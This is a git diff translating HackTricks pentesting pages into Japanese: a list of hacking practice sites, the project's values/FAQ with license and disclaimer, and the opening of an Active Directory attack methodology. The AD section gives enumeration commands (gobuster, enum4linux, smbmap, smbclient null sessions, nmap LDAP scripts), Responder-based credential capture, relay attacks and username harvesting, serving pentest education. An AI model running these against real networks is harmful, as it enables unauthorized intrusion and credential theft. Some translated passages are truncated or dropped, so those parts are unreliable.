**ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Learning by Practice +# 実践による学習 ## [https://www.hackthebox.eu/](https://www.hackthebox.eu) & [https://academy.hackthebox.eu/catalogue](https://academy.hackthebox.eu/catalogue) -Hackthebox has online machines to hack, it's the best place to learn by practicing. If you are new I would recommend you learning by doing retired machines following Ippsec videos. +Hacktheboxはハッキングするオンラインマシンを持っており、実践による学習に最適な場所です。初心者の場合は、Ippsecのビデオに従って引退したマシンを実際に学ぶことをお勧めします。 -HackTheBox academy is the new platform to learn hacking in a more guided way, also a great resource if you want to practice hacking some specific technology! +HackTheBoxアカデミーは、ハッキングをよりガイドされた方法で学ぶための新しいプラットフォームであり、特定の技術をハッキングする練習をしたい場合にも素晴らしいリソースです! ## [https://tryhackme.com/](https://tryhackme.com) -Tryhackme is a platform with virtual machines that need to be solved through walkthroughs, which is very good for beginners and normal CTFs where you self must hack into the machines. +Tryhackmeは、ウォークスルーを通じて解決する必要のある仮想マシンを持つプラットフォームであり、初心者や自己でマシンにハッキングする必要のある通常のCTFに非常に適しています。 ## [https://www.root-me.org/](https://www.root-me.org) -Rootme is another page for online hosted virtual machines to hack. +Rootmeは、ハッキングするためのオンラインホストされた仮想マシンの別のページです。 ## [https://www.vulnhub.com/](https://www.vulnhub.com) -Vulnhub has machines to download and then to hack +Vulnhubには、ダウンロードしてハッキングするためのマシンがあります。 ## [https://hack.me/](https://hack.me) -This site seems to be a community platform +このサイトはコミュニティプラットフォームのようです。 ## [https://www.hacker101.com/](https://www.hacker101.com) -free site with videos and CTFs +ビデオとCTFが無料で提供されるサイトです。 ## [https://crackmes.one/](https://crackmes.one) -This site has a lot of binaries for forensic learning. +このサイトには、フォレンジック学習のための多くのバイナリがあります。 ## [https://www.hackthissite.org/missions/basic/](https://www.hackthissite.org/missions/basic/) ## [https://attackdefense.com/](https://attackdefense.com) ## [https://portswigger.net/web-security/dashboard](https://portswigger.net/web-security/dashboard) -This website has a lot of web exploitation labs +このウェブサイトには、多くのウェブエクスプロイトラボがあります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/welcome/hacktricks-values-and-faq.md b/welcome/hacktricks-values-and-faq.md index 650533656..523648112 100644 --- a/welcome/hacktricks-values-and-faq.md +++ b/welcome/hacktricks-values-and-faq.md @@ -1,123 +1,114 @@ -# HackTricks Values & faq +# HackTricksの価値とFAQ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有して、PRを提出してください** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に**。
-## HackTricks Values +## HackTricksの価値 {% hint style="success" %} -These are the **values of the HackTricks Project**: +これらは**HackTricksプロジェクトの価値**です: -* Give **FREE** access to **EDUCATIONAL hacking** resources to **ALL** Internet. - * Hacking is about learning, and learning should be as free as possible. - * The purpose of this book is to serve as a comprehensive **educational resource**. -* **STORE** awesome **hacking** techniques that the community publishes giving the **ORIGINAL** **AUTHORS** all the **credits**. - * **We don't want the credit from other people**, we just want to store cool tricks for everyone. - * We also write **our own researches** in HackTricks. - * In several cases we will just write **in HackTricks a summary of the important parts** of the technique and will **encourage the lector to visit the original post** for more details. -* **ORGANIZE** all the hacking techniques in the book so it's **MORE ACCESSIBLE** - * The HackTricks team has dedicated thousands of hours for free **only to organize the content** so people can **learn faster** +* **すべてのインターネットユーザーに対して教育的なハッキングリソースへの無料アクセス**を提供します。 +* ハッキングは学びの一環であり、学びはできるだけ自由であるべきです。 +* この本の目的は、包括的な**教育リソース**としての役割を果たすことです。 +* コミュニティが公開する素晴らしい**ハッキングテクニック**を**オリジナルの著者に全てのクレジットを与えて**保存します。 +* **他の人からのクレジットを求めているわけではありません**、ただクールなトリックをみんなに提供したいだけです。 +* HackTricksでは、**独自の研究**も行っています。 +* いくつかの場合、テクニックの重要な部分の**要約をHackTricksに書き、詳細については元の投稿を訪れるように**促します。 +* すべてのハッキングテクニックを本に**整理**して、**よりアクセスしやすく**します。 +* HackTricksチームは、人々が**より速く学べるように**、コンテンツの**整理に数千時間を費やしています**。 {% endhint %}
-## HackTricks faq +## HackTricksのFAQ {% hint style="success" %} -* **Thank you so much for these resources, how can I thank you?** +* **これらのリソースに感謝します、どのように感謝すればよいですか?** {% endhint %} -You can publicly thanks HackTricks teams for putting together all these resources publicly in a tweet mentioning [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\ -If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ -And don't forget to **give a star in the Github projects!** (Find the links below). +[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をメンションするツイートで、HackTricksチームに公に感謝の意を示すことができます。\ +特に感謝している場合は、[**ここでプロジェクトをスポンサー**](https://github.com/sponsors/carlospolop)することもできます。\ +そして、**Githubプロジェクトにスターを付けることを忘れないでください**(リンクは以下にあります)。 {% hint style="success" %} -* **How can I contribute to the project?** +* **プロジェクトにどのように貢献できますか?** {% endhint %} -You can **share new tips and tricks with the community or fix bugs** you find in the books sending a **Pull Request** to the respective Github pages: +コミュニティと新しいヒントやトリックを共有したり、本で見つけたバグを修正したりすることで、プロジェクトに貢献することができます。それぞれのGithubページに**プルリクエスト**を送ってください: * [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) * [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Don't forget to **give a star in the Github projects!** +そして、**Githubプロジェクトにスターを付けることを忘れないでください**。 {% hint style="success" %} -* **Can I copy some content from HackTricks and put it in my blog?** +* **HackTricksからコンテンツをコピーしてブログに掲載してもいいですか?** {% endhint %} -Yes, you can, but **don't forget to mention the specific link(s)** where the content was taken from. +はい、できますが、コンテンツが取られた**特定のリンクを忘れずに**記載してください。 {% hint style="warning" %} -* **Can I copy all HackTricks in my blog?** +* **HackTricks全体をブログにコピーしてもいいですか?** {% endhint %} -**I would rather not**. Thats **not going to benefit anyone** as all the **content is already publicly available** in the official HackTricks books for free. +**お勧めしません**。すべての**コンテンツはすでに公開されている**ため、誰にとっても**利益になりません**。 -If you fear that it will disappear, just fork it in Github or download it, as I said it's already free. +消えることを心配する場合は、Githubでフォークするかダウンロードしてください。すでに無料です。 {% hint style="warning" %} -* **Why do you have sponsors? Are HackTricks books for commercial purposes?** +* **なぜスポンサーがいるのですか?HackTricksの本は商業目的ですか?** {% endhint %} -The first **HacTricks** **value** is to offer **FREE** hacking educational resources to **ALL** the world. The HackTricks team has **dedicated thousands of hours** to offer this content, again, for **FREE**. +最初の**HackTricksの価値**は、**世界中のすべての人**に**無料のハッキング教育リソース**を提供することです。HackTricksチームは、再び**無料**でこのコンテンツを提供するために、**数千時間を費やして**います。 -If you think HackTricks books are made for **commercial purposes** you are **COMPLETELY WRONG**. +HackTricksの本が**商業目的**で作られたと思っている場合、**完全に間違っています**。 -We have sponsors because, even if all the content is FREE, we want to **offer the community the possibility of appreciating our work** if they want to. Therefore, we offer people the option to donate to HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), and **relevant cybersecurity companies** to sponsor HackTricks and to **have some ads** in the book being the **ads** always placed in places where make them **visible** but **doesn't disturb the learning** process if someone focus in the content. +私たちは、すべてのコンテンツが無料であるにもかかわらず、人々が私たちの仕事を評価する機会を**コミュニティに提供**したいと考えています。したがって、[**Github sponsors**](https://github.com/sponsors/carlospolop)を介してHackTricksに寄付するオプションを人々に提供し、**関連するサイバーセキュリティ企業**にはHackTricksをスポンサーし、本に**広告**を掲載する機会を提供しています。ただし、広告は**学習プロセスを妨げない**ように、**見える場所**に常に配置されます。 -You won't find HackTricks filled with annoying ads like other blogs with much less content than HackTricks, because HackTricks is not made for commercial purposes. +HackTricksのように、コンテンツよりもはるかに少ないコンテンツを持つ他のブログのように、迷惑な広告でいっぱいになっているHackTricksはありません。 {% hint style="danger" %} -* **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** +* **HackTricksのページが私のブログ記事に基づいているが、参照されていない場合、どうすればよいですか?** {% endhint %} -**We are very sorry. This shouldn't have happened**. Please, let us know via Github issues, Twitter, Discord... the link of the HackTricks page with the content and the link of your blog and **we will check it and add it ASAP**. +**大変申し +## ライセンス + +**Copyright © Carlos Polop 2023. 他の指定がない限り(本書にコピーされた外部情報は元の著者に帰属します)、Carlos Polopによる** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **のテキストは**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**でライセンスされています。**\ +**商業目的で使用する場合は、私に連絡してください。** + +## **免責事項** {% hint style="danger" %} -* **What should I do if there is content from my blog in HackTricks and I don't want it there?** -{% endhint %} +この書籍『HackTricks』は教育および情報提供の目的でのみ使用されることを意図しています。本書の内容は「現状のまま」提供され、著者および出版者は、本書に含まれる情報、製品、サービス、または関連するグラフィックの完全性、正確性、信頼性、適合性、または利用可能性について、明示または黙示を問わず、いかなる種類の表明または保証も行いません。そのため、そのような情報に依存することは、完全に自己の責任において行ってください。 -In any case know that HackTricks in this case would be improving your **SEO** and **encouraging** people to **check your page**. If you still want the content of your blog to be removed from HackTricks let us know. +著者および出版者は、本書の使用に起因する、間接的または結果的な損失または損害、またはデータまたは利益の損失など、いかなる損失または損害に対しても一切の責任を負いません。 -Note that asking this we will definitely **remove every link to your blog**, but if the same technique can be found in other web pages we will just change the source of the information and the explanation, so the real content won't probably leave HackTricks (in cybersecurity, in general, there are always several post talking about the same technique). +さらに、本書に記載されている技術やヒントは、教育および情報提供の目的でのみ提供されるものであり、いかなる違法または悪意のある活動にも使用してはなりません。著者および出版者は、違法または非倫理的な活動を是認または支持するものではなく、本書に含まれる情報の使用は、ユーザー自身のリスクと裁量に基づくものです。 -## License +ユーザーは、本書に含まれる情報に基づいて行われるすべての行動について、自己の責任を負い、これらの技術やヒントを実装しようとする場合は常に専門の助言と支援を求めるべきです。 -**Copyright © Carlos Polop 2023. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\ -**If you want to use it with commercial purposes, contact me.** - -## **Disclaimer** - -{% hint style="danger" %} -This book, 'HackTricks,' is intended for educational and informational purposes only. The content within this book is provided on an 'as is' basis, and the authors and publishers make no representations or warranties of any kind, express or implied, about the completeness, accuracy, reliability, suitability, or availability of the information, products, services, or related graphics contained within this book. Any reliance you place on such information is therefore strictly at your own risk. - -The authors and publishers shall in no event be liable for any loss or damage, including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from loss of data or profits arising out of, or in connection with, the use of this book. - -Furthermore, the techniques and tips described in this book are provided for educational and informational purposes only, and should not be used for any illegal or malicious activities. The authors and publishers do not condone or support any illegal or unethical activities, and any use of the information contained within this book is at the user's own risk and discretion. - -The user is solely responsible for any actions taken based on the information contained within this book, and should always seek professional advice and assistance when attempting to implement any of the techniques or tips described herein. - -By using this book, the user agrees to release the authors and publishers from any and all liability and responsibility for any damages, losses, or harm that may result from the use of this book or any of the information contained within it. +本書の使用により生じるいかなる損害、損失、または害に対しても、ユーザーは著者および出版者を一切の責任から免責し、解放することに同意します。 {% endhint %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/windows-hardening/active-directory-methodology/README.md b/windows-hardening/active-directory-methodology/README.md index c6849d2ea..2a02d0186 100644 --- a/windows-hardening/active-directory-methodology/README.md +++ b/windows-hardening/active-directory-methodology/README.md @@ -4,92 +4,69 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Basic overview +## 基本的な概要 -Active Directory allows network administrators to create and manage domains, users, and objects within a network. For example, an admin can create a group of users and give them specific access privileges to certain directories on the server. As a network grows, Active Directory provides a way to organize a large number of users into logical groups and subgroups, while providing access control at each level. +Active Directoryは、ネットワーク管理者がネットワーク内のドメイン、ユーザー、およびオブジェクトを作成および管理することを可能にします。たとえば、管理者はユーザーグループを作成し、サーバー上の特定のディレクトリへのアクセス権を与えることができます。ネットワークが成長するにつれて、Active Directoryは大量のユーザーを論理的なグループやサブグループに整理し、各レベルでアクセス制御を提供します。 -The Active Directory structure includes three main tiers: 1) domains, 2) trees, and 3) forests. Several objects (users or devices) that all use the same database may be grouped in to a single domain. Multiple domains can be combined into a single group called a tree. Multiple trees may be grouped into a collection called a forest. Each one of these levels can be assigned specific access rights and communication privileges. +Active Directoryの構造には、以下の3つの主要な階層があります:1)ドメイン、2)ツリー、および3)フォレスト。同じデータベースを使用する複数のオブジェクト(ユーザーまたはデバイス)は、単一のドメインにグループ化される場合があります。複数のドメインは、ツリーと呼ばれる単一のグループに組み合わされることができます。複数のツリーは、フォレストと呼ばれるコレクションにグループ化されることができます。これらのレベルのそれぞれに特定のアクセス権と通信特権を割り当てることができます。 -Main concepts of an Active Directory: +Active Directoryは、次のようなさまざまなサービスを提供します。これらのサービスは、「Active Directoryドメインサービス」とも呼ばれます。 -1. **Directory** – Contains all the information about the objects of the Active directory -2. **Object** – An object references almost anything inside the directory (a user, group, shared folder...) -3. **Domain** – The objects of the directory are contained inside the domain. Inside a "forest" more than one domain can exist and each of them will have their own objects collection. -4. **Tree** – Group of domains with the same root. Example: _dom.local, email.dom.local, www.dom.local_ -5. **Forest** – The forest is the highest level of the organization hierarchy and is composed by a group of trees. The trees are connected by trust relationships. +1. **ドメインサービス** - 集中データを格納し、ユーザーとドメイン間の通信を管理します。ログイン認証や検索機能を含みます。 +2. **証明書サービス** - 安全な証明書の作成、配布、および管理を行います。 +3. **軽量ディレクトリサービス** - オープンな(LDAP)プロトコルを使用してディレクトリ対応アプリケーションをサポートします。 +4. **ディレクトリフェデレーションサービス** - シングルサインオン(SSO)を提供し、1つのセッションで複数のWebアプリケーションでユーザーを認証します。 +5. **権利管理** - 著作権情報を保護し、デジタルコンテンツの未承認使用と配布を防止します。 +6. **DNSサービス** - ドメイン名を解決するために使用されます。 -Active Directory provides several different services, which fall under the umbrella of "Active Directory Domain Services," or AD DS. These services include: - -1. **Domain Services** – stores centralized data and manages communication between users and domains; includes login authentication and search functionality -2. **Certificate Services** – creates, distributes, and manages secure certificates -3. **Lightweight Directory Services** – supports directory-enabled applications using the open (LDAP) protocol -4. **Directory Federation Services** – provides single-sign-on (SSO) to authenticate a user in multiple web applications in a single session -5. **Rights Management** – protects copyrighted information by preventing unauthorized use and distribution of digital content -6. **DNS Service** – Used to resolve domain names. - -AD DS is included with Windows Server (including Windows Server 10) and is designed to manage client systems. While systems running the regular version of Windows do not have the administrative features of AD DS, they do support Active Directory. This means any Windows computer can connect to a Windows workgroup, provided the user has the correct login credentials.\ +AD DSは、Windows Server(Windows Server 10を含む)に含まれており、クライアントシステムを管理するために設計されています。通常のWindowsバージョンを実行しているシステムには、AD DSの管理機能はありませんが、Active Directoryをサポートしています。これは、ユーザーが正しいログイン資格情報を持っている場合、任意のWindowsコンピュータがWindowsワークグループに接続できることを意味します。\ **From:** [**https://techterms.com/definition/active\_directory**](https://techterms.com/definition/active\_directory) -### **Kerberos Authentication** +### **Kerberos認証** -To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\ -[**Read this page if you still don't know how it works.**](kerberos-authentication.md) +ADを攻撃するためには、**Kerberos認証プロセス**を非常によく理解する必要があります。\ +[**まだどのように機能するかわからない場合は、このページを読んでください。**](kerberos-authentication.md) -## Cheat Sheet +## チートシート -You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD. +[https://wadcoms.github.io/](https://wadcoms.github.io)にアクセスして、ADの列挙/攻撃に実行できるコマンドを簡単に確認できます。 -## Recon Active Directory (No creds/sessions) +## Active Directoryのリコン(認証情報/セッションなし) -If you just have access to an AD environment but you don't have any credentials/sessions you could: +AD環境にアクセス権しかない場合でも、次の操作を行うことができます: -* **Pentest the network:** - * Scan the network, find machines and open ports and try to **exploit vulnerabilities** or **extract credentials** from them (for example, [printers could be very interesting targets](ad-information-in-printers.md). - * Enumerating DNS could give information about key servers in the domain as web, printers, shares, vpn, media, etc. - * `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` - * Take a look to the General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) to find more information about how to do this. -* **Check for null and Guest access on smb services** (this won't work on modern Windows versions): - * `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - * `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` - * `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` - * A more detailed guide on how to enumerate a SMB server can be found here: - -{% content-ref url="../../network-services-pentesting/pentesting-smb.md" %} -[pentesting-smb.md](../../network-services-pentesting/pentesting-smb.md) -{% endcontent-ref %} - -* **Enumerate Ldap** - * `nmap -n -sV --script "ldap* and not brute" -p 389 ` - * A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**): - -{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} -[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) -{% endcontent-ref %} - -* **Poison the network** - * Gather credentials [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - * Access host by [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) - * Gather credentials **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) +* **ネットワークのペンテスト:** +* ネットワークをスキャンし、マシンとオープンポートを見つけ、それらから**脆弱性を攻撃**したり、**認証情報を抽出**したりします(たとえば、[プリンターは非常に興味深いターゲットになる場合があります](ad-information-in-printers.md))。 +* DNSの列挙は、ドメイン内の重要なサーバー(Web、プリンター、共有、VPN、メディアなど)に関する情報を提供する場合があります。 +* `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` +* より詳細な情報については、一般的な[**ペンテスト手法**](../../generic-methodologies-and-resources/pentesting-methodology.md)を参照してください。 +* **SMBサービスでのnullおよびGuestアクセスをチェック**(これは最新のWindowsバージョンでは機能しません): +* `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` +* `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` +* `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` +* SMBサーバーの列挙についての詳細 +* [**リレーアタックを悪用して**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)ホストにアクセスする +* [**evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)を使用して[**偽のUPnPサービスを公開**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)し、資格情報を収集する * [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): - * Extract usernames/names from internal documents, social media, services (mainly web) inside the domain environments and also from the publicly available. - * If you find the complete names of company workers, you could try different AD **username conventions (**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). The most common conventions are: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123). - * Tools: - * [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - * [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) +* ドメイン環境内および公開されている内部ドキュメント、ソーシャルメディア、サービス(主にWeb)からユーザー名/名前を抽出する +* 会社の従業員の完全な名前を見つけた場合、異なるAD **ユーザー名の規則**を試すことができます([**こちらを参照**](https://activedirectorypro.com/active-directory-user-naming-convention/)) +* 最も一般的な規則は次のとおりです:_NameSurname_、_Name.Surname_、_NamSur_(各3文字)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 _ランダムな文字と3つのランダムな数字_(abc123)。 +* ツール: +* [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) +* [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) -### User enumeration - -* **Anonymous SMB/LDAP enum:** Check the [**pentesting SMB**](../../network-services-pentesting/pentesting-smb.md) and [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) pages. -* **Kerbrute enum**: When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC\_ERR\_C\_PRINCIPAL\_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the 